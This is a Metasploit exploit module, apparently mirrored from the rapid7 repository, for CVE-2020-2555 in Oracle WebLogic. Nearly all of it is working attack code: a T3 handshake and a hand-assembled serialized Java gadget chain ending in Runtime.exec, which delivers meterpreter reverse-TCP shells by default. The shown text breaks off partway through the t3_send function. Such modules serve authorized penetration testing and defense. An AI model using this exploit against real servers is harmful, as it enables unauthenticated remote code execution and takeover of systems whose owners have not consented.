CoCalc -- weblogic_deserialize

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/weblogic_deserialize_badattrval.rb
³²⁹⁵¹ views
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::CmdStager
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  include Msf::Exploit::Powershell
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'WebLogic Server Deserialization RCE - BadAttributeValueExpException',
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        'Description' => %q{
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          There exists a Java object deserialization vulnerability
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          in multiple versions of WebLogic.
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          Unauthenticated remote code execution can be achieved
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          by sending a serialized BadAttributeValueExpException object
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          over the T3 protocol to vulnerable WebLogic servers.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Jang', # Vuln Discovery
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          'Y4er', # PoC
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          'Shelby Pace', # Metasploit Module
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          'Steve Embling' # T3S support
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        ],
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        'References' => [
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          [ 'CVE', '2020-2555' ],
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          [ 'URL', 'https://www.thezdi.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server' ],
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          [ 'URL', 'https://github.com/Y4er/CVE-2020-2555' ]
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        ],
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        'Privileged' => false,
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        'Targets' => [
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          [
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            'Windows',
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            {
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              'Platform' => 'win',
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              'Arch' => [ ARCH_X86, ARCH_X64 ],
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              'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }
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            }
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          ],
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          [
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            'Unix',
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            {
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              'Platform' => %w[unix linux],
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              'CmdStagerFlavor' => 'printf',
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              'Arch' => [ ARCH_X86, ARCH_X64 ],
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              'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
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            }
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          ],
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        ],
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        'DisclosureDate' => '2020-01-15',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => [REPEATABLE_SESSION],
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [IOC_IN_LOGS]
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        }
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      )
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    )
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    register_options([
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      Opt::RPORT(7001),
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    ])
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    register_advanced_options([
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      OptBool.new('FORCE_T3', [false, 'Force T3 protocol even over SSL', false])
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    ])
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  end
77

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  def check
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    connect
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    web_req = "GET /console/login/LoginForm.jsp HTTP/1.1\nHost: #{peer}\n\n"
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    sock.put(web_req)
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    sleep(2)
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    res = sock.get_once
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    versions = [ Rex::Version.new('12.1.3.0.0'), Rex::Version.new('12.2.1.3.0'), Rex::Version.new('12.2.1.4.0') ]
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    return CheckCode::Unknown('Failed to obtain response from service') unless res
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    /WebLogic\s+Server[ -]+Version:\s+(?<version>\d+\.\d+\.\d+\.*\d*\.*\d*)/ =~ res
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    return CheckCode::Unknown('Failed to detect WebLogic') unless version
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    @version_no = Rex::Version.new(version)
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    print_status("WebLogic version detected: #{@version_no}")
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    return CheckCode::Appears if versions.include?(@version_no)
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98
    CheckCode::Detected('Version of WebLogic is not vulnerable')
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  ensure
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    disconnect
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  end
102

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  def exploit
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    connect
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    print_status('Sending handshake...')
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    t3_handshake
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108
    if target.name == 'Windows'
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      win_obj = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true })
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      win_obj.prepend('cmd.exe /c ')
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      win_obj = build_payload_obj(win_obj)
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      t3_send(win_obj)
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    else
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      execute_cmdstager
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    end
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  ensure
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    disconnect
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  end
119

120
  def t3_handshake
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    # t3 12.2.1\nAS:255
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    # \nHL:19\nMS:100000
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    # 00\n\n
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    if !datastore['SSL'] || datastore['FORCE_T3']
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      shake = '7433'
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    else
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      shake = '743373'
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    end
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    shake << '2031322e322e310a41533a323535'
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    shake << '0a484c3a31390a4d533a313030303030'
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    shake << '30300a0a'
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    sock.put([shake].pack('H*'))
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    sleep(1)
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    sock.get_once
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  end
137

138
  # rubocop:disable Metrics/MethodLength
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  def build_payload_obj(payload_data)
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    payload_obj = 'aced' # STREAM_MAGIC
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    payload_obj << '0005' # STREAM_VERSION
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    payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC
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    payload_obj << '002e' # Class name length: 46
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    payload_obj << '6a617661782e6d616e61' # Class name: javax.management.BadAttributeValueExpException
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    payload_obj << '67656d656e742e426164'
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    payload_obj << '41747472696275746556'
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    payload_obj << '616c7565457870457863'
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    payload_obj << '657074696f6e'
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    payload_obj << 'd4e7daab632d4640' # SerialVersionUID
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    payload_obj << '020001' # Serialization flag, field num = 1
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    payload_obj << '4c0003' # Field type code: 4c = Object, field name length: 3
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    payload_obj << '76616c' # Field name: val
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    payload_obj << '740012' # String, length: 18
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    payload_obj << '4c6a6176612f6c616e672f4f626a6563743b' # Ljava/lang/Object;
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    payload_obj << '7872' # end block data, TC_CLASSDESC
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    payload_obj << '0013' # Class name length: 19
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    payload_obj << '6a6176612e6c616e672e' # java.lang.Exception
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    payload_obj << '457863657074696f6e'
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    payload_obj << 'd0fd1f3e1a3b1cc4' # SerialVersionUID
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    payload_obj << '020000' # Serializable, No fields
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    payload_obj << '7872' # end block data, TC_CLASSDESC
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    payload_obj << '0013' # Class name length: 19
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    payload_obj << '6a6176612e6c616e672e' # java.lang.Throwable
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    payload_obj << '5468726f7761626c65'
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    payload_obj << 'd5c635273977b8cb' # SerialVersionUID
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    payload_obj << '030004' # ?, then 4 fields
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    payload_obj << '4c0005' # Field type: Object, field name length: 5
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    payload_obj << '6361757365' # Field name: cause
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    payload_obj << '740015' # String, length: 21
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    payload_obj << '4c6a6176612f6c616e67' # Ljava/lang/Throwable;
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    payload_obj << '2f5468726f7761626c653b'
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    payload_obj << '4c000d' # Field type: Object, field name length: 13
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    payload_obj << '64657461696c4d657373616765' # Field name: detailMessage
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    payload_obj << '740012' # String, length: 18
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    payload_obj << '4c6a6176612f6c616e67' # Ljava/lang/String;
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    payload_obj << '2f537472696e673b'
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    payload_obj << '5b000a' # Field type: 5b = array, field name length: 10
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    payload_obj << '737461636b5472616365' # Field name: stackTrace
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    payload_obj << '74001e' # String, length: 30
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    payload_obj << '5b4c6a6176612f6c616e' # [Ljava/lang/StackTraceElement;
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    payload_obj << '672f537461636b547261'
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    payload_obj << '6365456c656d656e743b'
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    payload_obj << '4c0014' # Field type: Object, field name length: 20
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    payload_obj << '73757070726573736564' # Field name: suppressedExceptions
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    payload_obj << '457863657074696f6e73'
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    payload_obj << '740010' # String, length: 16
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    payload_obj << '4c6a6176612f7574696c' # Ljava/util/List;
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    payload_obj << '2f4c6973743b'
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    payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
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    payload_obj << '71' # TC_REFERENCE
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    payload_obj << '007e0008' # handle?
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    payload_obj << '7075' # TC_NULL, TC_ARRAY
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    payload_obj << '72001e' # TC_CLASSDESC, Class name length: 30
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    payload_obj << '5b4c6a6176612e6c616e' # [Ljava.lang.StackTraceElement;
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    payload_obj << '672e537461636b547261'
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    payload_obj << '6365456c656d656e743b'
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    payload_obj << '02462a3c3cfd2239' # SerialVersionUID
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    payload_obj << '020000' # Serializable, No fields
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    payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
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    payload_obj << '00000001'
201
    payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC
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    payload_obj << '001b' # Class name length: 27
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    payload_obj << '6a6176612e6c616e672e' # java.lang.StackTraceElement
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    payload_obj << '537461636b5472616365'
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    payload_obj << '456c656d656e74'
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    payload_obj << '6109c59a2636dd85' # SerialVersionUID
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    payload_obj << '020004' # Serializable, 4 fields
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    payload_obj << '49000a' # Field type: 49 = Integer, field name length: 10
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    payload_obj << '6c696e654e756d626572' # lineNumber
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    payload_obj << '4c000e' # Field type: Object, field name length: 14
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    payload_obj << '6465636c6172696e6743'
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    payload_obj << '6c617373' # declaringClass
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    payload_obj << '71' # TC_REFERENCE
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    payload_obj << '007e0005' # handle
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    payload_obj << '4c0008' # Field type: Object, field name length: 8
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    payload_obj << '66696c654e616d65' # fileName
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    payload_obj << '71' # TC_REFERENCE
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    payload_obj << '007e0005' # handle
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    payload_obj << '4c000a' # Field type: Object, field name length: 10
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    payload_obj << '6d6574686f644e616d65' # methodName
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    payload_obj << '71' # TC_REFERENCE
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    payload_obj << '007e0005' # handle
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    payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
224
    payload_obj << '00000028'
225

226
    class_name = Rex::Text.rand_text_alphanumeric(8..14)
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    formatted_class = class_name.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
228

229
    payload_obj << '74' # String
230
    payload_obj << class_name.length.to_s(16).rjust(4, '0')
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    payload_obj << formatted_class # Originally Weblogic_2555 -> PoC class name
232
    payload_obj << '74' # String
233
    payload_obj << (class_name.length + 5).to_s(16).rjust(4, '0')
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    payload_obj << formatted_class # Originally Weblogic_2555.java
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    payload_obj << '2e6a617661' # .java
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    payload_obj << '740004' # String, length: 4
237
    payload_obj << '6d61696e' # main
238
    payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC
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    payload_obj << '0026' # Class name length: 38
240
    payload_obj << '6a6176612e7574696c2e' # java.util.Collections$UnmodifiableList
241
    payload_obj << '436f6c6c656374696f6e'
242
    payload_obj << '7324556e6d6f64696669'
243
    payload_obj << '61626c654c697374'
244
    payload_obj << 'fc0f2531b5ec8e10' # SerialVersionUID
245
    payload_obj << '020001' # Serializable, 1 field
246
    payload_obj << '4c0004' # Field type: Object, field name length: 4
247
    payload_obj << '6c697374' # list
248
    payload_obj << '71' # TC_REFERENCE
249
    payload_obj << '007e0007' # handle
250
    payload_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
251
    payload_obj << '002c' # Class name length: 44
252
    payload_obj << '6a6176612e7574696c2e' # java.util.Collections$UnmodifiableCollection
253
    payload_obj << '436f6c6c656374696f6e'
254
    payload_obj << '7324556e6d6f64696669'
255
    payload_obj << '61626c65436f6c6c6563'
256
    payload_obj << '74696f6e'
257
    payload_obj << '19420080cb5ef71e' # SerialVersionUID
258
    payload_obj << '020001' # Serializable, 1 field
259
    payload_obj << '4c0001' # Field type: Object, field name length: 1
260
    payload_obj << '63' # Field name: c
261
    payload_obj << '740016' # String, length: 22
262
    payload_obj << '4c6a6176612f7574696c' # Ljava/util/Collection;
263
    payload_obj << '2f436f6c6c656374696f'
264
    payload_obj << '6e3b'
265
    payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
266
    payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC
267
    payload_obj << '0013' # Class name length: 19
268
    payload_obj << '6a6176612e7574696c2e' # java.util.ArrayList
269
    payload_obj << '41727261794c697374'
270
    payload_obj << '7881d21d99c7619d' # SerialVersionUID
271
    payload_obj << '030001' # ?, 1 field
272
    payload_obj << '490004' # Field type: Integer, field name length: 4
273
    payload_obj << '73697a65' # size
274
    payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
275
    payload_obj << '00000000'
276
    payload_obj << '7704' # TC_BLOCKDATA, length: 4
277
    payload_obj << '00000000'
278
    payload_obj << '7871' # TC_ENDBLOCKDATA, TC_REFERENCE
279
    payload_obj << '007e0015' # handle
280
    payload_obj << '78' # TC_ENDBLOCKDATA
281
    payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC
282
    payload_obj << '0024' # Class name length: 36
283
    payload_obj << '636f6d2e74616e676f73' # com.tangosol.util.filter.LimitFilter
284
    payload_obj << '6f6c2e7574696c2e6669'
285
    payload_obj << '6c7465722e4c696d6974'
286
    payload_obj << '46696c746572'
287
    payload_obj << limit_filter_uid # SerialVersionUID
288
    payload_obj << '020006' # Serializable, 6 fields
289
    payload_obj << '49000b' # Field type: Integer, field name length: 11
290
    payload_obj << '6d5f635061676553697a65' # m_cPageSize
291
    payload_obj << '490007' # Field type: Integer, field name length: 7
292
    payload_obj << '6d5f6e50616765' # m_nPage
293
    payload_obj << '4c000c' # Field type: Object, field name length: 12
294
    payload_obj << '6d5f636f6d70617261746f72' # m_comparator
295
    payload_obj << '740016' # String, length: 22
296
    payload_obj << '4c6a6176612f7574696c' # Ljava/util/Comparator;
297
    payload_obj << '2f436f6d70617261746f'
298
    payload_obj << '723b'
299
    payload_obj << '4c0008' # Field type: Object, field name length: 8
300
    payload_obj << '6d5f66696c746572' # m_filter
301
    payload_obj << '74001a' # String, length: 26
302
    payload_obj << '4c636f6d2f74616e676f' # Lcom/tangosol/util/Filter;
303
    payload_obj << '736f6c2f7574696c2f46'
304
    payload_obj << '696c7465723b'
305
    payload_obj << '4c000f' # Field type: Object, field name length: 15
306
    payload_obj << '6d5f6f416e63686f7242' # m_oAnchorBottom
307
    payload_obj << '6f74746f6d'
308
    payload_obj << '71' # TC_REFERENCE
309
    payload_obj << '007e0001' # handle
310
    payload_obj << '4c000c' # Field type: Object, field name length: 12
311
    payload_obj << '6d5f6f416e63686f72546f70' # m_oAnchorTop
312
    payload_obj << '71' # TC_REFERENCE
313
    payload_obj << '007e0001' # handle
314

315
    unless @version_no == Rex::Version.new('12.1.3.0.0')
316
      payload_obj << add_class_desc
317
    end
318

319
    payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
320
    payload_obj << '00000000'
321
    payload_obj << '00000000'
322
    payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC
323
    payload_obj << '002c' # Class name length: 44
324
    payload_obj << '636f6d2e74616e676f73' # com.tangosol.util.extractor.ChainedExtractor
325
    payload_obj << '6f6c2e7574696c2e6578'
326
    payload_obj << '74726163746f722e4368'
327
    payload_obj << '61696e65644578747261'
328
    payload_obj << '63746f72'
329
    payload_obj << chained_extractor_uid # SerialVersionUID
330
    payload_obj << '020000' # Serializable, no fields
331
    payload_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
332
    payload_obj << '0036' # Class name length: 54
333
    payload_obj << '636f6d2e74616e676f73' # com.tangosol.util.extractor.AbstractCompositeExtractor
334
    payload_obj << '6f6c2e7574696c2e6578'
335
    payload_obj << '74726163746f722e4162'
336
    payload_obj << '737472616374436f6d70'
337
    payload_obj << '6f736974654578747261'
338
    payload_obj << '63746f72'
339
    payload_obj << '086b3d8c05690f44' # SerialVersionUID
340
    payload_obj << '020001' # Serializable, 1 field
341
    payload_obj << '5b000c' # Field type: Array, field name length: 12
342
    payload_obj << '6d5f61457874726163746f72' # m_aExtractor
343
    payload_obj << '740023' # String, length: 35
344
    payload_obj << '5b4c636f6d2f74616e67' # [Lcom/tangosol/util/ValueExtractor;
345
    payload_obj << '6f736f6c2f7574696c2f'
346
    payload_obj << '56616c75654578747261'
347
    payload_obj << '63746f723b'
348
    payload_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
349
    payload_obj << '002d' # Class name length: 45
350
    payload_obj << '636f6d2e74616e676f73' # com.tangosol.util.extractor.AbstractExtractor
351
    payload_obj << '6f6c2e7574696c2e6578'
352
    payload_obj << '74726163746f722e4162'
353
    payload_obj << '73747261637445787472'
354
    payload_obj << '6163746f72'
355
    payload_obj << abstract_extractor_uid # SerialVersionUID
356
    payload_obj << '020001' # Serializable, 1 field
357
    payload_obj << '490009' # Field type: Integer, field name length: 9
358
    payload_obj << '6d5f6e546172676574' # m_nTarget
359
    payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
360
    payload_obj << '00000000'
361
    payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC
362
    payload_obj << '0032' # Class name length: 50
363
    payload_obj << '5b4c636f6d2e74616e67' # [Lcom.tangosol.util.extractor.ReflectionExtractor;
364
    payload_obj << '6f736f6c2e7574696c2e'
365
    payload_obj << '657874726163746f722e'
366
    payload_obj << '5265666c656374696f6e'
367
    payload_obj << '457874726163746f723b'
368
    payload_obj << 'dd8b89aed70273ca' # SerialVersionUID
369
    payload_obj << '020000' # Serializable, no fields
370
    payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
371
    payload_obj << '00000003'
372
    payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC
373
    payload_obj << '002f' # Class name length: 47
374
    payload_obj << '636f6d2e74616e676f73' # com.tangosol.util.extractor.ReflectionExtractor
375
    payload_obj << '6f6c2e7574696c2e6578'
376
    payload_obj << '74726163746f722e5265'
377
    payload_obj << '666c656374696f6e4578'
378
    payload_obj << '74726163746f72'
379
    payload_obj << reflection_extractor_uid # SerialVersionUID
380
    payload_obj << '02000' # Serializable, variable fields orig: 020002
381
    payload_obj << reflect_extract_count
382
    payload_obj << '5b0009' # Field type: Array, field name length: 9
383
    payload_obj << '6d5f616f506172616d' # m_aoParam
384
    payload_obj << '740013' # String, length: 19
385
    payload_obj << '5b4c6a6176612f6c616e' # [Ljava/lang/Object;
386
    payload_obj << '672f4f626a6563743b'
387
    payload_obj << add_sect
388
    payload_obj << '4c0009' # Object, length: 9
389
    payload_obj << '6d5f734d6574686f64' # m_sMethod
390
    payload_obj << '71' # TC_REFERENCE
391
    payload_obj << '007e0005' # handle
392
    payload_obj << '7871' # TC_ENDBLOCKDATA, TC_REFERENCE
393
    payload_obj << (change_handle? ? '007e001d' : '007e001e')
394
    payload_obj << '00000000'
395
    payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC
396
    payload_obj << '0013' # Class name length: 19
397
    payload_obj << '5b4c6a6176612e6c616e' # [Ljava.lang.Object;
398
    payload_obj << '672e4f626a6563743b'
399
    payload_obj << '90ce589f1073296c' # SerialVersionUID
400
    payload_obj << '020000' # Serializable, no fields
401
    payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
402
    payload_obj << '00000002'
403
    payload_obj << '74000a' # String, length: 10
404
    payload_obj << '67657452756e74696d65' # getRuntime
405
    payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC
406
    payload_obj << '0012' # Class name length: 18
407
    payload_obj << '5b4c6a6176612e6c616e' # [Ljava.lang.Class;
408
    payload_obj << '672e436c6173733b'
409
    payload_obj << 'ab16d7aecbcd5a99' # SerialVersionUID
410
    payload_obj << '020000' # Serializable, no fields
411
    payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
412
    payload_obj << '00000000'
413
    payload_obj << add_tc_null
414
    payload_obj << '740009' # String, length: 9
415
    payload_obj << '6765744d6574686f64' # getMethod
416
    payload_obj << '7371' # TC_OBJECT, TC_REFERENCE
417
    payload_obj << (change_handle? ? '007e0021' : '007e0022')
418
    payload_obj << '00000000'
419
    payload_obj << '7571' # TC_ARRAY, TC_REFERENCE
420
    payload_obj << (change_handle? ? '007e0024' : '007e0025')
421
    payload_obj << '00000002' # array size: 2
422
    payload_obj << '7075' # TC_NULL, TC_ARRAY
423
    payload_obj << '71' # TC_REFERENCE
424
    payload_obj << (change_handle? ? '007e0024' : '007e0025')
425
    payload_obj << '00000000'
426
    payload_obj << add_tc_null
427
    payload_obj << '740006' # TC_STRING, length: 6
428
    payload_obj << '696e766f6b65' # invoke
429
    payload_obj << '7371' # TC_OBJECT, TC_REFERENCE
430
    payload_obj << (change_handle? ? '007e0021' : '007e0022')
431
    payload_obj << '00000000'
432
    payload_obj << '7571' # TC_ARRAY, TC_REFERENCE
433
    payload_obj << (change_handle? ? '007e0024' : '007e0025')
434
    payload_obj << '00000001'
435
    payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC
436
    payload_obj << '0013' # Class name length: 19
437
    payload_obj << '5b4c6a6176612e6c616e' # [Ljava.lang.String;
438
    payload_obj << '672e537472696e673b'
439
    payload_obj << 'add256e7e91d7b47' # SerialVersionUID
440
    payload_obj << '020000' # Serializable, no fields
441
    payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
442
    payload_obj << '00000003'
443

444
    payload_bin = format_payload(payload_data)
445
    payload_obj << payload_bin
446

447
    # Original data
448
    # ---------------------------
449
    # payload_obj << '740007'                             # String, length: 7
450
    # payload_obj << '2f62696e2f7368'                     # /bin/sh
451
    # payload_obj << '740002'                             # String, length: 2
452
    # payload_obj << '2d63'                               # -c
453
    # payload_obj << '740017'                             # String, length: 23
454
    # payload_obj << '746f756368202f746d70'               # touch /tmp/blah_ze_blah
455
    # payload_obj << '2f626c61685f7a655f62'
456
    # payload_obj << '6c6168'
457
    # ---------------------------
458
    payload_obj << add_tc_null
459

460
    payload_obj << '740004' # String, length: 4
461
    payload_obj << '65786563' # exec
462
    payload_obj << '7070' # TC_NULL, TC_NULL
463
    payload_obj << '7672' # TC_CLASS, TC_CLASSDESC
464
    payload_obj << '0011' # Class name length: 17
465
    payload_obj << '6a6176612e6c616e672e' # java.lang.Runtime
466
    payload_obj << '52756e74696d65'
467
    payload_obj << '00000000000000000000'
468
    payload_obj << '00'
469
    payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
470
  end
471
  # rubocop:enable Metrics/MethodLength
472

473
  def change_handle?
474
    @version_no == Rex::Version.new('12.1.3.0.0')
475
  end
476

477
  def limit_filter_uid
478
    case @version_no
479
    when Rex::Version.new('12.1.3.0.0')
480
      '99022596d7b45953'
481
    when Rex::Version.new('12.2.1.3.0')
482
      'ab2901b976c4e271'
483
    else
484
      '954e4590be89865f'
485
    end
486
  end
487

488
  def chained_extractor_uid
489
    case @version_no
490
    when Rex::Version.new('12.1.3.0.0')
491
      '889f81b0945d5b7f'
492
    when Rex::Version.new('12.2.1.3.0')
493
      '06ee10433a4cc4b4'
494
    else
495
      '435b250b72f63db5'
496
    end
497
  end
498

499
  def abstract_extractor_uid
500
    case @version_no
501
    when Rex::Version.new('12.1.3.0.0')
502
      '658195303e723821'
503
    when Rex::Version.new('12.2.1.3.0')
504
      '752289ad4d460138'
505
    else
506
      '9b1be18ed70100e5'
507
    end
508
  end
509

510
  def reflection_extractor_uid
511
    case @version_no
512
    when Rex::Version.new('12.1.3.0.0')
513
      'ee7ae995c02fb4a2'
514
    when Rex::Version.new('12.2.1.3.0')
515
      '87973791b26429dd'
516
    else
517
      '1f62f564b951b614'
518
    end
519
  end
520

521
  def reflect_extract_count
522
    case @version_no
523
    when Rex::Version.new('12.2.1.3.0')
524
      '3'
525
    else
526
      '2'
527
    end
528
  end
529

530
  def add_sect
531
    sect = ''
532

533
    if @version_no == Rex::Version.new('12.2.1.3.0')
534
      sect << '4c0011' # Object, length: 17
535
      sect << '6d5f657874726163746f' # m_extractorCached
536
      sect << '72436163686564'
537
      sect << '71' # TC_REFERENCE
538
      sect << '007e0001' # handle
539
    end
540

541
    sect
542
  end
543

544
  def add_class_desc
545
    class_desc = ''
546
    class_desc << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
547
    class_desc << '0034' # Class name length: 52
548
    class_desc << '636f6d2e74616e676f73' # com.tangosol.util.filter.AbstractQueryRecorderFilter
549
    class_desc << '6f6c2e7574696c2e6669'
550
    class_desc << '6c7465722e4162737472'
551
    class_desc << '61637451756572795265'
552
    class_desc << '636f7264657246696c74'
553
    class_desc << '6572'
554
    class_desc << 'f3b98201f680eb90' # SerialVersionUID
555
    class_desc << '020000' # Serializable, no fields
556
  end
557

558
  def add_tc_null
559
    return '70' if @version_no == Rex::Version.new('12.2.1.3.0')
560

561
    ''
562
  end
563

564
  def t3_send(payload_obj)
565
    print_status('Sending object...')
566

567
    request_obj = '000009f3' # Original packet length
568
    request_obj << '016501' # CMD_IDENTIFY_REQUEST, flags
569
    request_obj << 'ffffffffffffffff'
570
    request_obj << '00000071'
571
    request_obj << '0000ea60'
572
    request_obj << '00000018432ec6'
573
    request_obj << 'a2a63985b5af7d63e643'
574
    request_obj << '83f42a6d92c9e9af0f94'
575
    request_obj << '72027973720078720178'
576
    request_obj << '720278700000000c0000'
577
    request_obj << '00020000000000000000'
578
    request_obj << '00000001007070707070'
579
    request_obj << '700000000c0000000200'
580
    request_obj << '00000000000000000000'
581
    request_obj << '01007006'
582
    request_obj << 'fe010000' # separator
583
    request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION
584
    request_obj << '7372' # TC_OBJECT, TC_CLASSDESC
585
    request_obj << '001d' # Class name length: 29
586
    request_obj << '7765626c6f6769632e72' # weblogic.rjvm.ClassTableEntry
587
    request_obj << '6a766d2e436c61737354'
588
    request_obj << '61626c65456e747279'
589
    request_obj << '2f52658157f4f9ed' # SerialVersionUID
590
    request_obj << '0c0000' # flags?
591
    request_obj << '787072' # TC_ENDBLOCKDATA, TC_NULL, TC_CLASSDESC
592
    request_obj << '0024' # Class name length: 36
593
    request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PackageInfo
594
    request_obj << '6f6d6d6f6e2e696e7465'
595
    request_obj << '726e616c2e5061636b61'
596
    request_obj << '6765496e666f'
597
    request_obj << 'e6f723e7b8ae1ec9' # SerialVersionUID
598
    request_obj << '020009' # Serializable, 9 fields
599
    request_obj << '490005' # Field type: Int, field name length: 5
600
    request_obj << '6d616a6f72' # major
601
    request_obj << '490005' # Field type: Int, field name length: 5
602
    request_obj << '6d696e6f72' # minor
603
    request_obj << '49000b' # Field type: Int, field name length: 11
604
    request_obj << '70617463685570646174' # patchUpdate
605
    request_obj << '65'
606
    request_obj << '49000c' # Field type: Int, field name length: 12
607
    request_obj << '726f6c6c696e67506174' # rollingPatch
608
    request_obj << '6368'
609
    request_obj << '49000b' # Field type: Int, field name length: 11
610
    request_obj << '73657276696365506163' # servicePack
611
    request_obj << '6b'
612
    request_obj << '5a000e' # Field type: Z = Bool, field name length: 14
613
    request_obj << '74656d706f7261727950' # temporaryPatch
614
    request_obj << '61746368'
615
    request_obj << '4c0009' # Field type: Object, field name length: 9
616
    request_obj << '696d706c5469746c65' # implTitle
617
    request_obj << '740012' # String, length: 18
618
    request_obj << '4c6a6176612f6c616e67' # Ljava/lang/String;
619
    request_obj << '2f537472696e673b'
620
    request_obj << '4c000a' # Field type: Object, field name length: 10
621
    request_obj << '696d706c56656e646f72' # implVendor
622
    request_obj << '71007e0003' # TC_REFERENCE, handle
623
    request_obj << '4c000b' # Field type: Object, field name length: 11
624
    request_obj << '696d706c56657273696f6e' # implVersion
625
    request_obj << '71007e0003' # TC_REFERENCE, handle
626
    request_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
627
    request_obj << '7702' # TC_ENDBLOCKDATA
628
    request_obj << '000078'
629
    request_obj << 'fe010000' # separator
630

631
    request_obj << payload_obj
632

633
    request_obj << 'fe010000' # separator
634
    request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION
635
    request_obj << '7372' # TC_OBJECT, TC_CLASSDESC
636
    request_obj << '001d' # Class name length: 29
637
    request_obj << '7765626c6f6769632e72' # weblogic.rjvm.ClassTableEntry
638
    request_obj << '6a766d2e436c61737354'
639
    request_obj << '61626c65456e747279'
640
    request_obj << '2f52658157f4f9ed' # SerialVersionUID
641
    request_obj << '0c0000'
642
    request_obj << '787072' # TC_ENDBLOCKDATA, TC_NULL, TC_CLASSDESC
643
    request_obj << '0021' # Class name length: 33
644
    request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PeerInfo
645
    request_obj << '6f6d6d6f6e2e696e7465'
646
    request_obj << '726e616c2e5065657249'
647
    request_obj << '6e666f'
648
    request_obj << '585474f39bc908f1' # SerialVersionUID
649
    request_obj << '020007' # Serializable, 7 fields
650
    request_obj << '490005' # Field type: Int, field name length: 5
651
    request_obj << '6d616a6f72' # major
652
    request_obj << '490005' # Field type: Int, field name length: 5
653
    request_obj << '6d696e6f72' # minor
654
    request_obj << '49000b' # Field type: Int, field name length: 11
655
    request_obj << '70617463685570646174' # patchUpdate
656
    request_obj << '65'
657
    request_obj << '49000c' # Field type: Int, field name length: 12
658
    request_obj << '726f6c6c696e67506174' # rollingPatch
659
    request_obj << '6368'
660
    request_obj << '49000b' # Field type: Int, field name length: 11
661
    request_obj << '73657276696365506163' # servicePack
662
    request_obj << '6b'
663
    request_obj << '5a000e' # Field type: Z = Bool, field name length: 14
664
    request_obj << '74656d706f7261727950' # temporaryPatch
665
    request_obj << '61746368'
666
    request_obj << '5b0008' # Field type: Array, field name length: 8
667
    request_obj << '7061636b61676573' # packages
668
    request_obj << '740027' # String, length: 39
669
    request_obj << '5b4c7765626c6f676963' # [Lweblogic/common/internal/PackageInfo;
670
    request_obj << '2f636f6d6d6f6e2f696e'
671
    request_obj << '7465726e616c2f506163'
672
    request_obj << '6b616765496e666f3b'
673
    request_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
674
    request_obj << '0024' # Class name length: 36
675
    request_obj << '7765626c6f6769632e63' # weblogic.common.internal.VersionInfo
676
    request_obj << '6f6d6d6f6e2e696e7465'
677
    request_obj << '726e616c2e5665727369'
678
    request_obj << '6f6e496e666f'
679
    request_obj << '972245516452463e' # SerialVersionUID
680
    request_obj << '020003' # Serializable, 3 fields
681
    request_obj << '5b0008' # Field type: Array, field name length: 8
682
    request_obj << '7061636b61676573' # packages
683
    request_obj << '71007e0003' # TC_REFERENCE, handle
684
    request_obj << '4c000e' # Field type: Object, field name length: 14
685
    request_obj << '72656c65617365566572' # releaseVersion
686
    request_obj << '73696f6e'
687
    request_obj << '740012' # String, length: 18
688
    request_obj << '4c6a6176612f6c616e67' # Ljava/lang/String;
689
    request_obj << '2f537472696e673b'
690
    request_obj << '5b0012' # Field type: Array, field name length: 18
691
    request_obj << '76657273696f6e496e66' # versionInfoAsBytes
692
    request_obj << '6f41734279746573'
693
    request_obj << '740002' # String, length: 2
694
    request_obj << '5b42' # [B
695
    request_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
696
    request_obj << '0024' # Class name length: 36
697
    request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PackageInfo
698
    request_obj << '6f6d6d6f6e2e696e7465'
699
    request_obj << '726e616c2e5061636b61'
700
    request_obj << '6765496e666f'
701
    request_obj << 'e6f723e7b8ae1ec9' # SerialVersionUID
702
    request_obj << '020009' # Serializable, 9 fields
703
